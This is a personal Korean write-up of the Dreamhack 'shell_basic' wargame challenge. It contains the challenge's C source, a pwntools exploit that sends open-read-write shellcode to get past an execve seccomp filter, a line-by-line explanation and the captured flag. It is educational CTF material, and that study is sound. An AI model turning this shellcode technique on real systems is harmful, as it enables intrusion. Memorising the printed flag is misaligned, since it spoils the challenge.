읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
shell_basic
문제 설명

참고 자료

접속 정보

앞으로 접속 정보는 서버 생성 버튼만 누르면 되니 포스팅 하지 않기로한다.
C 코드
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout,NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
exploit code
from pwn import *
p = remote('host3.dreamhack.games', 17344)
context.arch = 'amd64'
dir = "/home/shell_basic/flag_name_is_loooooong"
payload = ''
payload += shellcraft.open(dir)
payload += shellcraft.read('rax', 'rsp', 0x100)
payload += shellcraft.write(1, 'rsp', 0x100)
p.recvuntil("shellcode: ")
p.sendline(asm(payload))
print(p.recv())
p.interactive()
코드 설명
p = remote('host3.dreamhack.games', 17344)
remote()는 원격 서버를 대상으로 공격할 때 쓰는 함수다.
주로 remote('url', port) 형식으로 사용한다.
위 스크린샷에서는 포트번호가 다른데, 서버가 닫혔다가 다시 열어서 포트가 바뀐것이다.
context.arch = "amd64"
pwntools는 쉘 코드를 생성하거나 코드를 어셈블, 디스어셈블 하는 기능이 있는데, 대상의 아키텍처의 영향을 받기 때문에 아키텍처를 설정해둬야 한다.
r = "/home/shell_basic/flag_name_is_loooooong"
플래그가 있는 경로를 변수 dir에 저장한다.
payload = ''
payload += shellcraft.open(dir)
payload += shellcraft.read('rax', 'rsp', 0x100)
payload += shellcraft.write(1, 'rsp', 0x100)
페이로드를 작성한다. pwntools의 shellcraft 함수는 execve 함수 뿐만 아니라 orw의 쉘코드를 작성하는데에 굉장히 좋은 기능을 가지고 있다.
open("File path")
read(fd, buf, 0x100)
write(1, buf, 0x100) → 1은 stdout 표준 출력을 의미
fd가 rax인 이유는 open의 함수 반환값이 rax에 저장되기 때문임.
p.recvuntil("shellcode: ")
p.sendline(asm(payload))
print(p.recv())
or
p.interactive()
recvtunil()로 "shellcode: "라는 문자열이 입력될 때까지 기다림.
서버에 연결하면 "shellcode: " 라는 문자열이 뜬다.
그리고 shellcraft로 작성한 asm 코드를 전송한다.
돌아온 값을 받아서 print(p.recv()) 코드로 출력해낸다.
사실 print(p.recv()) 안쓰고 p.interactive() 써도 똑같이 출력되는 거같다.
실행화면

저 수 많은 기계어 위에 보면 DH로 시작하는 flag가 뜨면서 쉘 권한을 탈취한 것을 확인할 수 있다.
DH{ca562d7cf1db6c55cb11c4ec350a3c0b}
작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
다음 글